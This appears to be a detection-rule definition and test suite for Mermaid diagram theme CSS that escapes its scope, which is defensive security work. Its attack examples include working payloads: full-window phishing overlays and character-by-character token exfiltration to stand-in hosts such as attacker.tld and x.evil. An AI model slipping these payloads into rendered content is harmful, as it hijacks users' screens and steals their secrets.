Diagram Theme Config Used to Inject Page-Wide CSS (scope escape, overlay, selector exfil)

Detects CVE-2026-41149: a mermaid initialisation directive embedded in agent-rendered content (`%%{init: {...}}%%`, or a mermaid.initialize call) whose theme value carries CSS that ESCAPES the diagram's scope. Mermaid runs themeCSS through stylis, which prefixes every selector with `#mermaid-<id>`; a selector written `:not(&)` breaks out of that prefix and applies to the whole document. From there the payload is a full-window phishing overlay or character-at-a-time exfiltration through an attribute-prefix selector whose background url() fires one request per guessed character. THE PRECISION LINE, AND WHERE IT WAS DRAWN. `themeCSS` legitimately contains CSS -- `themeCSS: '.node rect { fill: #222 }'` is the documented use, braces and all -- so "contains CSS syntax" is not a signal, and an earlier draft of this rule that fired on a brace pair inside the value was rejected on exactly that benign twin before it was written down. TWO FURTHER MARKERS WERE REMOVED IN ADVERSARIAL REVIEW (rule_version 2), each on measured benign fire, and both removals are corrections of the threat model rather than concessions: 1. `position:fixed` inside a diagram theme was claimed as a viewport-pinned overlay. It is not one. Without the stylis escape, stylis prefixes the selector with `#mermaid-<id>`, so the declaration is confined to the diagram and covers nothing. What the marker actually selected was the ordinary fullscreen/lightbox/zoom/print-watermark/pinned-legend feature that docs sites build on purpose. Eleven independent benign inputs fired on it: a VitePress fullscreen handler, an mkdocs-material manifest, a CHANGELOG line, a vitest fixture, a minified bundle line, a Traditional-Chinese blog post, a Stack Overflow answer explaining that this does NOT work, and several cross-key constructions where the `position:fixed` was in a neighbouring key entirely, because `[^\n]{0,200}` runs straight through the closing quote of the themeCSS value. The overlay payload is still detected when it is an attack, because an attack must carry the scope escape and the escape is claimed. Only the escape is load-bearing. 2. The attribute-prefix selector was matched on ANY attribute name. Only `[value^=` (and `$=` / `*=` on the same attribute) is claimed now, because `value` is the one attribute that carries a secret the page did not choose to publish, and matching on a value PREFIX is something no designer does -- the selector sees the server-rendered attribute, not what the user typed, so it is useless for styling and useful only for guessing. Every other attribute name produced benign fire and was removed: `[class^="icon-"]` (icon sprites), `[id^="mermaid-"]` (scoping to mermaid's own generated container), `[data-testid^="node-"]` (generated themes), `[name^="card"]` and `[placeholder^=` (form-field icons), `[title^=` (step badges) -- all of them next to a CDN `url()`, all of them leaking nothing. `[href^=` and `[src^=` are excluded for the same reason: `a[href^="https"]` beside a remote icon url() is a textbook stylesheet. Nine benign inputs fired on the untyped version, including the author's own DELIBERATELY-UNCLAIMED Google-Fonts `@import` the moment ANY ordinary prefix selector appeared within 120 characters of it. 3. Condition 0's window is `[^\n%]`, not `[^\n]`, so it cannot run out of the `%%{...}%%` directive and pick a marker out of the prose that follows it. A mitigation note that shows a plain `%%{init}%%` line and then discusses the escape in the next sentence was firing before this. MEASURED COST, and it is the only one: a payload that puts a literal `%` (e.g. `width:100%`) inside a fontFamily/altFontFamily value BEFORE the marker is now missed by condition 0. The same payload inside `themeCSS` is still caught, by condition 1, which carries no `%` bound -- verified on both, one fires and one does not. The remaining scope escape additionally requires a declaration block after it (`:not(&) ... {`), because an escape with no rule body changes nothing; that drops prose which merely names the marker after a `themeCSS:` colon. A webfont `@import url('https://fonts.googleapis.com/...')` inside themeCSS is a plausible legitimate use of the same mechanism and is DELIBERATELY NOT CLAIMED -- it is a measured true negative, not an oversight. Coverage check, re-run in review and CORRECTED. The only rule that mentions mermaid, ATR-2026-01967, is scoped to DeepChat IPC/MCP registration -- that part of the author's claim holds. What the author missed is a sibling from this same sweep: ATR-2026-02704 detects the CSS attribute-selector exfiltration primitive generically, and it fires on three of the four exfil payloads here. It reached the same conclusion independently -- it only claims SECRET-bearing attributes (`value`, `token`, `csrf`, `secret`, `password`, `api_key`, `otp`) -- which is corroboration that the untyped attribute match this rule shipped with was the wrong line. The exfil branch here is therefore largely redundant with 02704 and is kept only for the themeCSS-scoped ordering 02704 does not cover (url() before the selector). The `:not(&)` stylis scope escape is this rule's own, and nothing else detects it.

Response Actions

References

1. 01

   Mermaid init directive whose theme value breaks the stylis scope with :not(&) and opens a rule body, or pairs a SECRET-BEARING attribute-prefix selector with a remote url()

   field: contentop: regex
2. 02

   A themeCSS value carrying the same two escape markers, in the JS/JSON config form

   field: contentop: regex

Attack Examples (Rule Triggers)

1. %%{init: {"fontFamily":"x;a{b} :not(&){position:fixed;inset:0;background:#fff;z-index:9999}"}}%%
   flowchart TD
    A-->B

2. %%{init:{"themeCSS":".node{fill:#fff} :not(&) body{display:none}"}}%%
   graph LR; A-->B;

3. %%{init:{"themeCSS":"#top{position:fixed} :not(&) #top{position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:2147483647}"}}%%

4. %%{init:{"themeCSS":"input[name=_token][value^=\"a\"]{background:url(https://attacker.tld/leak?c=a)}"}}%%

5. mermaid.initialize({ startOnLoad: true, themeCSS: '.n{fill:#fff} :not(&){position:fixed;inset:0}' });

6. mermaid.initialize({ themeCSS: 'a{background:url(https://c2.example/x?k=)} input[value^=sk-]{color:red}' });

7. %%{init:{"themeCSS":":not(&) body::before{content:'';position:fixed;inset:0;background:#fff url(https://evil.tld/phish.png);z-index:2147483647}"}}%%
   flowchart TD
    A-->B

8. %%{init:{"themeCSS":"input[value^='sk-a']{background:url(//x.evil/?c=a)} input[value^='sk-b']{background:url(//x.evil/?c=b)}"}}%%

9. mermaid.initialize({ themeCSS: ".n{fill:#fff} :not(&,.cluster){position:fixed;inset:0;background:#000}" });

10. mermaid.initialize({themeCSS:":not( & ) html{filter:invert(1);pointer-events:none}"})

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. Ordinary mermaid theming

   %%{init: {"theme":"base","themeVariables":{"primaryColor":"#1f77b4"}}}%%
   graph TD; A-->B;

2. fontFamily set to a real font stack

   %%{init: {"theme":"base","themeVariables":{"fontFamily":"Inter, Helvetica, Arial, sans-serif"}}}%%

3. The documented themeCSS use, braces and all -- the twin that killed an earlier brace-based draft

   mermaid.initialize({ startOnLoad: true, theme: 'dark', themeCSS: '.node rect { fill: #222; stroke: #888; } .edgeLabel { background: #111; }' });

4. Webfont import inside themeCSS -- deliberately not claimed

   %%{init:{"themeCSS":"@import url('https://fonts.googleapis.com/css2?family=Inter'); .node{font-family:Inter}"}}%%

5. Inline data: URI background, no remote fetch

   mermaid.initialize({ themeCSS: '.cluster rect { background: url() }' });

6. :not() used on a class, not on the stylis parent selector

   mermaid.initialize({ themeCSS: '.node:not(.cluster) rect { stroke-dasharray: 4 }' });

7. altFontFamily with a plain value

   %%{init:{"altFontFamily":"monospace"}}%%
   sequenceDiagram
    A->>B: hi

8. A plain diagram with no init directive

   ```mermaid
   flowchart LR
     Client-->API
     API-->DB
   ```

9. securityLevel loose, which is common and deliberately not treated as a signal

   %%{init:{"securityLevel":"loose","theme":"neutral"}}%%
   flowchart TD
    click A "https://docs.example.com" "Open docs"

10. A stylesheet pinning a header, with no diagram config anywhere

    .site-header { position: fixed; top: 0; width: 100%; z-index: 40; }

11. Security writing describing this very attack in prose

    Mermaid passes themeCSS through stylis, which scopes rules to #mermaid-<id>. A selector written as :not(&) escapes that scope and applies to the whole page, so a diagram in untrusted markdown can cover the window.

12. Library documentation naming the escape marker

    stylis prefixes every selector with the component scope. Nesting with & refers to the parent selector; :not(&) is occasionally used in test fixtures to assert the negation branch.

13. A theme editor persisting user CSS

    {"themeCSS":".label text{font-size:14px} .node circle{stroke-width:2px}","theme":"base"}

14. Tailwind config with a fontFamily key

    module.exports = { theme: { extend: { fontFamily: { sans: ['Inter var', 'ui-sans-serif'] } } } }

15. themeCSS and unrelated fixed positioning in the same snippet

    mermaid.initialize({ themeCSS: '.node rect{fill:#eee}', theme: 'base' });
    document.querySelector('.mermaid').style.position = 'fixed';

16. A remote url() in a neighbouring key rather than inside themeCSS

    {"themeCSS":".label text{font-size:14px}","logo":"url(https://cdn.example.com/logo.svg)"}

17. Report generator setting a font and a fixed watermark separately

    chart.fontFamily = 'Roboto, sans-serif';
    .watermark { position: fixed; bottom: 8px; right: 8px; opacity: .2; }

18. Adversarial-review benign twin (adv01): docs-site fullscreen/lightbox feature for diagrams

    mermaid.initialize({ startOnLoad: true, themeCSS: '.mermaid-fullscreen { position: fixed; inset: 0; background: #fff; z-index: 40; overflow: auto; }' });

19. Adversarial-review benign twin (adv02): position:fixed lives in a DIFFERENT key on the same line

    {"mermaid":{"themeCSS":".node rect{fill:#fff}"},"lightbox":{"css":".dlg{position:fixed;inset:0}"}}

20. Adversarial-review benign twin (adv03): the author's own declared-benign webfont import + an ordinary prefix selector

    mermaid.initialize({ themeCSS: "@import url('https://fonts.googleapis.com/css2?family=Inter&display=swap'); [class^='node'] { font-family: Inter, sans-serif; }" });

21. Adversarial-review benign twin (adv04): scoping to mermaid's generated ids + a remote SVG paint server

    mermaid.initialize({ themeCSS: '[id^="mermaid-"] .node rect { fill: url(https://cdn.example.com/patterns.svg#hatch); }' });

22. Adversarial-review benign twin (adv05): Traditional Chinese blog post about a fullscreen diagram

    在 VitePress 設定裡加上 mermaid.initialize({ themeCSS: '.diagram-full { position: fixed; inset: 0; z-index: 50 }' }) 就能讓圖表全螢幕顯示。

23. Adversarial-review benign twin (adv06): Japanese docs, prefix selector + CDN asset

    mermaid の themeCSS: "[class^=\"cluster\"] rect { fill: url(https://assets.example.jp/bg.svg) }" を使うとクラスタ背景を差し替えられます。

24. Adversarial-review benign twin (adv07): CHANGELOG entry

    ## 2.4.1
    - fix(diagrams): themeCSS: '.mermaid-modal{position:fixed;inset:0}' is no longer dropped when print styles are active (#4821)

25. Adversarial-review benign twin (adv08): vitest fixture in a renderer repo

    it('applies custom themeCSS', () => { render({ themeCSS: '.overlay{position:fixed;inset:0}' }); expect(document.querySelector('style').textContent).toContain('position:fixed'); });

26. Adversarial-review benign twin (adv09): mkdocs-material yaml manifest

    markdown_extensions:
      mermaid:
        themeCSS: ".md-typeset .mermaid-zoom{position:fixed;top:0;left:0;width:100vw;height:100vh}"

27. Adversarial-review benign twin (adv10): generated theme JSON: test-id prefix selector + remote gradient

    {"name":"corp-dark","themeCSS":"[data-testid^=\"node-\"] rect{stroke:#444} .edgePath path{stroke:url(https://static.example.com/grad.svg#g1)}","version":3}

28. Adversarial-review benign twin (adv12): print watermark inside themeCSS

    mermaid.initialize({ themeCSS: '@media print { .watermark { position: fixed; bottom: 0; opacity: .15 } }' });

29. Adversarial-review benign twin (adv13): library prose that happens to put the marker right after the key

    In Emotion the compiler is stylis, the same one mermaid uses for themeCSS: ':not(&) is how you opt a rule out of the generated scope class', which is why nested selectors behave the way they do.

30. Adversarial-review benign twin (adv14): a real %%{init}%% directive using the site's own fullscreen class

    %%{init:{"theme":"base","themeCSS":".fullscreen-diagram{position:fixed;inset:0;background:#fff}"}}%%
    flowchart TD
      A-->B

31. Adversarial-review benign twin (adv15): Stack Overflow answer saying the thing does NOT work

    You can't set themeCSS: "position:fixed" on the container from inside the diagram; mermaid re-renders the SVG and the style is scoped away. Put it on the wrapper element instead.

32. Adversarial-review benign twin (adv16): minified bundle line, two unrelated keys

    var t={themeCSS:".n{fill:#eee}",modal:".m{position:fixed;top:0}"};

33. Adversarial-review benign twin (adv17): legend pinned to the viewport, cross-key via condition 0

    %%{init: {"fontFamily":"Inter", "themeCSS":".legend{position:fixed;right:8px;bottom:8px}"}}%%
    graph LR; A-->B;

34. Adversarial-review benign twin (adv18): icon sprite: the single most common prefix-selector idiom in CSS

    Theme editor export:
    {"themeCSS":"[class^=icon-]{background-image:url(https://icons.example.com/sprite.svg)}","theme":"base"}

35. Adversarial-review round 2 benign twin (r2-02): cross-key: form-field icon CSS in a neighbouring key

    {"themeCSS":".node{fill:#fff}","formCSS":"input[name^=card]{background:url(https://cdn.example.com/visa.svg)}"}

36. Adversarial-review round 2 benign twin (r2-03): credit-card / search field icon keyed off field name, a real CSS idiom

    mermaid.initialize({ themeCSS: 'input[name^="search"]{background:url(https://cdn.example.com/magnifier.svg) no-repeat}' });

37. Adversarial-review round 2 benign twin (r2-05): docs about the mitigation

    %%{init:{"fontFamily":"Inter"}}%% — note that in themeCSS a selector like `:not(&)` followed by a block { } is stripped by our sanitiser.

38. Adversarial-review round 2 benign twin (r2-06): templated CSS where the marker is built in a variable, not literally next to themeCSS

    const css = `[title^="${prefix}"] { background-image: url(${cdn}//sprite.svg) }`; mermaid.initialize({ themeCSS: css });

39. Adversarial-review round 2 benign twin (r2-07): stylis' own unit test for the negation branch

    stylis test fixture: expect(serialize(compile('.a{:not(&){color:red}}'), stringify)).toBe('.a :not(.a){color:red;}')

40. Adversarial-review round 2 benign twin (r2-08): :not() on a class plus an unrelated remote texture

    mermaid.initialize({ themeCSS: '.node:not(.done) rect{fill:#eee} .edgeLabel{background:url(https://cdn.example.com/paper.png)}' });

41. Adversarial-review round 2 benign twin (r2-09): Traditional Chinese: placeholder-prefix selector + CDN hint icon

    主題設定:themeCSS: '[placeholder^="請輸入"]{background:url(https://cdn.example.tw/hint.svg)}' 用來給輸入框加提示圖示。

42. Adversarial-review round 2 benign twin (r2-10): webfont import then a title-prefix selector, no url in that block

    mermaid.initialize({ themeCSS: '@import url(https://fonts.gstatic.com/s/inter/v13/font.woff2); .node[title^="step"] rect{stroke:#333}' });

Known False Positive Contexts

• ▸THE ONE REAL RESIDUAL, measured, and it is a whole class rather than one shape: ANY prose that reproduces the payload -- the theme key, a colon, a quote, then the stylis escape opening a rule body -- is textually identical to the attack, so no pattern separates them. Three independent constructions fire and are accepted: a CVE advisory quoting the payload, a CHANGELOG line announcing the fix, and a GitHub bug report using the escape as its reproduction case. It does not occur in 12,830 benign corpus samples or in 556 repo doc/skill files. This rule's own prose deliberately never reassembles that sequence, and that is verified: it does not fire on itself minus its test_cases
• ▸A theme that loads a remote webfont AND matches on a value PREFIX (`[value^=`) in the same 120 characters for unrelated reasons -- constructible, never observed, and there is no styling reason to write it
• ▸NOT a false positive any more, and recorded so it is not re-added: a mermaid theme that uses position:fixed for a fullscreen, lightbox, zoom, print-watermark or pinned-legend feature. Confined by stylis, harmless, and the marker was removed
• ▸NOT a false positive any more, and recorded so it is not re-widened: [class^=], [id^=], [data-*^=], [name^=], [placeholder^=], [title^=] or [href^=] beside a remote url(). Those attributes carry no secret, so the selector-exfil primitive does not apply and the marker no longer matches them

title: "Diagram Theme Config Used to Inject Page-Wide CSS (scope escape, overlay, selector exfil)"
id: ATR-2026-02602
rule_version: 2
status: "experimental"
description: >
  Detects CVE-2026-41149: a mermaid initialisation directive embedded in
  agent-rendered content (`%%{init: {...}}%%`, or a mermaid.initialize call)
  whose theme value carries CSS that ESCAPES the diagram's scope. Mermaid runs
  themeCSS through stylis, which prefixes every selector with `#mermaid-<id>`;
  a selector written `:not(&)` breaks out of that prefix and applies to the whole
  document. From there the payload is a full-window phishing overlay or
  character-at-a-time exfiltration through an attribute-prefix selector whose
  background url() fires one request per guessed character.

  THE PRECISION LINE, AND WHERE IT WAS DRAWN. `themeCSS` legitimately contains
  CSS -- `themeCSS: '.node rect { fill: #222 }'` is the documented use, braces
  and all -- so "contains CSS syntax" is not a signal, and an earlier draft of
  this rule that fired on a brace pair inside the value was rejected on exactly
  that benign twin before it was written down.

  TWO FURTHER MARKERS WERE REMOVED IN ADVERSARIAL REVIEW (rule_version 2), each
  on measured benign fire, and both removals are corrections of the threat model
  rather than concessions:

  1. `position:fixed` inside a diagram theme was claimed as a viewport-pinned
     overlay. It is not one. Without the stylis escape, stylis prefixes the
     selector with `#mermaid-<id>`, so the declaration is confined to the
     diagram and covers nothing. What the marker actually selected was the
     ordinary fullscreen/lightbox/zoom/print-watermark/pinned-legend feature that
     docs sites build on purpose. Eleven independent benign inputs fired on it:
     a VitePress fullscreen handler, an mkdocs-material manifest, a CHANGELOG
     line, a vitest fixture, a minified bundle line, a Traditional-Chinese blog
     post, a Stack Overflow answer explaining that this does NOT work, and
     several cross-key constructions where the `position:fixed` was in a
     neighbouring key entirely, because `[^\n]{0,200}` runs straight through the
     closing quote of the themeCSS value. The overlay payload is still detected
     when it is an attack, because an attack must carry the scope escape and the
     escape is claimed. Only the escape is load-bearing.

  2. The attribute-prefix selector was matched on ANY attribute name. Only
     `[value^=` (and `$=` / `*=` on the same attribute) is claimed now, because
     `value` is the one attribute that carries a secret the page did not choose
     to publish, and matching on a value PREFIX is something no designer does --
     the selector sees the server-rendered attribute, not what the user typed, so
     it is useless for styling and useful only for guessing. Every other
     attribute name produced benign fire and was removed: `[class^="icon-"]`
     (icon sprites), `[id^="mermaid-"]` (scoping to mermaid's own generated
     container), `[data-testid^="node-"]` (generated themes), `[name^="card"]`
     and `[placeholder^=` (form-field icons), `[title^=` (step badges) -- all of
     them next to a CDN `url()`, all of them leaking nothing. `[href^=` and
     `[src^=` are excluded for the same reason: `a[href^="https"]` beside a
     remote icon url() is a textbook stylesheet. Nine benign inputs fired on the
     untyped version, including the author's own DELIBERATELY-UNCLAIMED
     Google-Fonts `@import` the moment ANY ordinary prefix selector appeared
     within 120 characters of it.

  3. Condition 0's window is `[^\n%]`, not `[^\n]`, so it cannot run out of the
     `%%{...}%%` directive and pick a marker out of the prose that follows it.
     A mitigation note that shows a plain `%%{init}%%` line and then discusses
     the escape in the next sentence was firing before this. MEASURED COST, and
     it is the only one: a payload that puts a literal `%` (e.g. `width:100%`)
     inside a fontFamily/altFontFamily value BEFORE the marker is now missed by
     condition 0. The same payload inside `themeCSS` is still caught, by
     condition 1, which carries no `%` bound -- verified on both, one fires and
     one does not.

  The remaining scope escape additionally requires a declaration block after it
  (`:not(&) ... {`), because an escape with no rule body changes nothing; that
  drops prose which merely names the marker after a `themeCSS:` colon.

  A webfont `@import url('https://fonts.googleapis.com/...')` inside themeCSS is
  a plausible legitimate use of the same mechanism and is DELIBERATELY NOT
  CLAIMED -- it is a measured true negative, not an oversight.

  Coverage check, re-run in review and CORRECTED. The only rule that mentions
  mermaid, ATR-2026-01967, is scoped to DeepChat IPC/MCP registration -- that
  part of the author's claim holds. What the author missed is a sibling from
  this same sweep: ATR-2026-02704 detects the CSS attribute-selector
  exfiltration primitive generically, and it fires on three of the four
  exfil payloads here. It reached the same conclusion independently -- it only
  claims SECRET-bearing attributes (`value`, `token`, `csrf`, `secret`,
  `password`, `api_key`, `otp`) -- which is corroboration that the untyped
  attribute match this rule shipped with was the wrong line. The exfil branch
  here is therefore largely redundant with 02704 and is kept only for the
  themeCSS-scoped ordering 02704 does not cover (url() before the selector).
  The `:not(&)` stylis scope escape is this rule's own, and nothing else
  detects it.
author: "ATR Community"
date: "2026/08/23"
schema_version: "0.1"
detection_tier: pattern
maturity: "test"
severity: high

references:
  owasp_llm:
    - "LLM02:2025"
  owasp_agentic:
    - "ASI04:2026"
  mitre_atlas:
    - "AML.T0051 - LLM Prompt Injection"
    - "AML.T0051.001 - Indirect"
  cve:
    - "CVE-2026-41149"

compliance:
  owasp_agentic:
    - id: ASI04:2026
      context: "Content the agent renders escapes the boundary it was given and takes over the surrounding interface, which is an agent output-handling failure rather than a model failure."
      strength: primary
  owasp_llm:
    - id: LLM02:2025
      context: "Insecure output handling: markup produced or relayed by the model reaches a renderer that grants it document-wide effect."
      strength: primary
  eu_ai_act:
    - article: "15"
      context: "Article 15 requires resilience against attempts to manipulate system output; a diagram config that repaints the whole window is exactly such a manipulation, and detection is the control."
      strength: primary
    - article: "14"
      context: "A full-window overlay defeats human oversight by design -- the operator sees the attacker's surface instead of the system's -- so detecting it is an Article 14 control."
      strength: secondary
    - article: "9"
      context: "Rendered-output injection is a documented risk class for agent interfaces; these events are the Article 9 monitoring evidence."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "Runtime treatment for untrusted content reaching a rendering surface with more authority than intended."
      strength: primary
    - function: Map
      subcategory: MP.5.1
      context: "Catalogues CSS-only injection as a distinct risk from script injection, which existing rules already cover."
      strength: secondary
    - function: Measure
      subcategory: "MS.2.7"
      context: "Detection events document the security of the output-rendering path as MEASURE 2.7 requires."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "Clause 8.1 operational control over the rendering pipeline that turns model output into a user-facing surface."
      strength: primary
    - clause: "6.2"
      context: "Preventing interface takeover and selector-based data exfiltration is an AIMS information security objective under clause 6.2."
      strength: secondary
    - clause: "8.4"
      context: "Impact assessment under 8.4 must account for what a rendered artifact can do to the viewer; these events are the evidence for that path."
      strength: secondary

tags:
  category: context-exfiltration
  subcategory: rendered-output-injection
  scan_target: both
  confidence: medium

agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any

detection:
  conditions:
    - field: content
      operator: regex
      value: '%%\s*\{[^\n]{0,240}?\b(?:themeCSS|altFontFamily|fontFamily)\b["'']?\s*:\s*["''][^\n%]{0,200}?(?::not\s*\(\s*&[^\n{]{0,20}?\)[^\n]{0,40}?\{|\[\s*value\s*[\^$*]=[^\n]{0,60}?\{[^\n]{0,90}?url\s*\(\s*["'']?(?:https?:)?//|url\s*\(\s*["'']?(?:https?:)?//[^\n]{0,120}?\[\s*value\s*[\^$*]=)'
      description: "Mermaid init directive whose theme value breaks the stylis scope with :not(&) and opens a rule body, or pairs a SECRET-BEARING attribute-prefix selector with a remote url()"
    - field: content
      operator: regex
      value: '\bthemeCSS\b["'']?\s*:\s*["''][^\n]{0,200}?(?::not\s*\(\s*&[^\n{]{0,20}?\)[^\n]{0,40}?\{|\[\s*value\s*[\^$*]=[^\n]{0,60}?\{[^\n]{0,90}?url\s*\(\s*["'']?(?:https?:)?//|url\s*\(\s*["'']?(?:https?:)?//[^\n]{0,120}?\[\s*value\s*[\^$*]=)'
      description: "A themeCSS value carrying the same two escape markers, in the JS/JSON config form"

  condition: any
  false_positives:
    - "THE ONE REAL RESIDUAL, measured, and it is a whole class rather than one shape: ANY prose that reproduces the payload -- the theme key, a colon, a quote, then the stylis escape opening a rule body -- is textually identical to the attack, so no pattern separates them. Three independent constructions fire and are accepted: a CVE advisory quoting the payload, a CHANGELOG line announcing the fix, and a GitHub bug report using the escape as its reproduction case. It does not occur in 12,830 benign corpus samples or in 556 repo doc/skill files. This rule's own prose deliberately never reassembles that sequence, and that is verified: it does not fire on itself minus its test_cases"
    - "A theme that loads a remote webfont AND matches on a value PREFIX (`[value^=`) in the same 120 characters for unrelated reasons -- constructible, never observed, and there is no styling reason to write it"
    - "NOT a false positive any more, and recorded so it is not re-added: a mermaid theme that uses position:fixed for a fullscreen, lightbox, zoom, print-watermark or pinned-legend feature. Confined by stylis, harmless, and the marker was removed"
    - "NOT a false positive any more, and recorded so it is not re-widened: [class^=], [id^=], [data-*^=], [name^=], [placeholder^=], [title^=] or [href^=] beside a remote url(). Those attributes carry no secret, so the selector-exfil primitive does not apply and the marker no longer matches them"

response:
  actions:
    - alert
    - snapshot
  auto_response_threshold: high
  message_template: >
    [ATR-2026-02602] A diagram theme configuration carries CSS that leaves the
    diagram's scope -- a stylis `:not(&)` escape opening a rule body, or a
    secret-bearing attribute-prefix selector paired with a remote url(). Rendered
    content can repaint the whole window or leak field values one character at a
    time. Do not render until the source of this block is established.

confidence: 70
test_cases:
  true_positives:
    - input: "%%{init: {\"fontFamily\":\"x;a{b} :not(&){position:fixed;inset:0;background:#fff;z-index:9999}\"}}%%\nflowchart TD\n A-->B"
      expected: triggered
      description: "fontFamily value carrying a stylis scope escape and a full-window overlay"
    - input: "%%{init:{\"themeCSS\":\".node{fill:#fff} :not(&) body{display:none}\"}}%%\ngraph LR; A-->B;"
      expected: triggered
      description: "themeCSS escaping scope to blank the host page"
    - input: "%%{init:{\"themeCSS\":\"#top{position:fixed} :not(&) #top{position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:2147483647}\"}}%%"
      expected: triggered
      description: "Viewport-covering overlay that ESCAPES scope -- the bare position:fixed form was withdrawn in review because stylis confines it to the diagram and it is the ordinary fullscreen feature"
    - input: "%%{init:{\"themeCSS\":\"input[name=_token][value^=\\\"a\\\"]{background:url(https://attacker.tld/leak?c=a)}\"}}%%"
      expected: triggered
      description: "Attribute-prefix selector exfiltrating a CSRF token one character per request"
    - input: "mermaid.initialize({ startOnLoad: true, themeCSS: '.n{fill:#fff} :not(&){position:fixed;inset:0}' });"
      expected: triggered
      description: "Same escape in the JS configuration form"
    - input: "mermaid.initialize({ themeCSS: 'a{background:url(https://c2.example/x?k=)} input[value^=sk-]{color:red}' });"
      expected: triggered
      description: "Remote url() and attribute-prefix selector in the other order"
    - input: "%%{init:{\"themeCSS\":\":not(&) body::before{content:'';position:fixed;inset:0;background:#fff url(https://evil.tld/phish.png);z-index:2147483647}\"}}%%\nflowchart TD\n A-->B"
      expected: triggered
      description: "The full CVE-2026-41149 overlay: scope escape, then a viewport-covering pseudo-element over the whole document"
    - input: "%%{init:{\"themeCSS\":\"input[value^='sk-a']{background:url(//x.evil/?c=a)} input[value^='sk-b']{background:url(//x.evil/?c=b)}\"}}%%"
      expected: triggered
      description: "Alphabet enumeration against a value prefix with protocol-relative callbacks -- the exfiltration primitive as actually deployed"
    - input: "mermaid.initialize({ themeCSS: \".n{fill:#fff} :not(&,.cluster){position:fixed;inset:0;background:#000}\" });"
      expected: triggered
      description: "Scope escape written with an argument list, :not(&,.cluster), to dodge a literal :not(&) match"
    - input: "mermaid.initialize({themeCSS:\":not( & ) html{filter:invert(1);pointer-events:none}\"})"
      expected: triggered
      description: "Whitespace-padded escape reaching the html element"
  true_negatives:
    - input: "%%{init: {\"theme\":\"base\",\"themeVariables\":{\"primaryColor\":\"#1f77b4\"}}}%%\ngraph TD; A-->B;"
      expected: not_triggered
      description: "Ordinary mermaid theming"
    - input: "%%{init: {\"theme\":\"base\",\"themeVariables\":{\"fontFamily\":\"Inter, Helvetica, Arial, sans-serif\"}}}%%"
      expected: not_triggered
      description: "fontFamily set to a real font stack"
    - input: "mermaid.initialize({ startOnLoad: true, theme: 'dark', themeCSS: '.node rect { fill: #222; stroke: #888; } .edgeLabel { background: #111; }' });"
      expected: not_triggered
      description: "The documented themeCSS use, braces and all -- the twin that killed an earlier brace-based draft"
    - input: "%%{init:{\"themeCSS\":\"@import url('https://fonts.googleapis.com/css2?family=Inter'); .node{font-family:Inter}\"}}%%"
      expected: not_triggered
      description: "Webfont import inside themeCSS -- deliberately not claimed"
    - input: "mermaid.initialize({ themeCSS: '.cluster rect { background: url() }' });"
      expected: not_triggered
      description: "Inline data: URI background, no remote fetch"
    - input: "mermaid.initialize({ themeCSS: '.node:not(.cluster) rect { stroke-dasharray: 4 }' });"
      expected: not_triggered
      description: ":not() used on a class, not on the stylis parent selector"
    - input: "%%{init:{\"altFontFamily\":\"monospace\"}}%%\nsequenceDiagram\n A->>B: hi"
      expected: not_triggered
      description: "altFontFamily with a plain value"
    - input: "```mermaid\nflowchart LR\n  Client-->API\n  API-->DB\n```"
      expected: not_triggered
      description: "A plain diagram with no init directive"
    - input: "%%{init:{\"securityLevel\":\"loose\",\"theme\":\"neutral\"}}%%\nflowchart TD\n click A \"https://docs.example.com\" \"Open docs\""
      expected: not_triggered
      description: "securityLevel loose, which is common and deliberately not treated as a signal"
    - input: ".site-header { position: fixed; top: 0; width: 100%; z-index: 40; }"
      expected: not_triggered
      description: "A stylesheet pinning a header, with no diagram config anywhere"
    - input: "Mermaid passes themeCSS through stylis, which scopes rules to #mermaid-<id>. A selector written as :not(&) escapes that scope and applies to the whole page, so a diagram in untrusted markdown can cover the window."
      expected: not_triggered
      description: "Security writing describing this very attack in prose"
    - input: "stylis prefixes every selector with the component scope. Nesting with & refers to the parent selector; :not(&) is occasionally used in test fixtures to assert the negation branch."
      expected: not_triggered
      description: "Library documentation naming the escape marker"
    - input: "{\"themeCSS\":\".label text{font-size:14px} .node circle{stroke-width:2px}\",\"theme\":\"base\"}"
      expected: not_triggered
      description: "A theme editor persisting user CSS"
    - input: "module.exports = { theme: { extend: { fontFamily: { sans: ['Inter var', 'ui-sans-serif'] } } } }"
      expected: not_triggered
      description: "Tailwind config with a fontFamily key"
    - input: "mermaid.initialize({ themeCSS: '.node rect{fill:#eee}', theme: 'base' });\ndocument.querySelector('.mermaid').style.position = 'fixed';"
      expected: not_triggered
      description: "themeCSS and unrelated fixed positioning in the same snippet"
    - input: "{\"themeCSS\":\".label text{font-size:14px}\",\"logo\":\"url(https://cdn.example.com/logo.svg)\"}"
      expected: not_triggered
      description: "A remote url() in a neighbouring key rather than inside themeCSS"
    - input: "chart.fontFamily = 'Roboto, sans-serif';\n.watermark { position: fixed; bottom: 8px; right: 8px; opacity: .2; }"
      expected: not_triggered
      description: "Report generator setting a font and a fixed watermark separately"
    - input: "mermaid.initialize({ startOnLoad: true, themeCSS: '.mermaid-fullscreen { position: fixed; inset: 0; background: #fff; z-index: 40; overflow: auto; }' });"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv01): docs-site fullscreen/lightbox feature for diagrams"
    - input: "{\"mermaid\":{\"themeCSS\":\".node rect{fill:#fff}\"},\"lightbox\":{\"css\":\".dlg{position:fixed;inset:0}\"}}"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv02): position:fixed lives in a DIFFERENT key on the same line"
    - input: "mermaid.initialize({ themeCSS: \"@import url('https://fonts.googleapis.com/css2?family=Inter&display=swap'); [class^='node'] { font-family: Inter, sans-serif; }\" });"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv03): the author's own declared-benign webfont import + an ordinary prefix selector"
    - input: "mermaid.initialize({ themeCSS: '[id^=\"mermaid-\"] .node rect { fill: url(https://cdn.example.com/patterns.svg#hatch); }' });"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv04): scoping to mermaid's generated ids + a remote SVG paint server"
    - input: "在 VitePress 設定裡加上 mermaid.initialize({ themeCSS: '.diagram-full { position: fixed; inset: 0; z-index: 50 }' }) 就能讓圖表全螢幕顯示。"
      expected: not_triggered
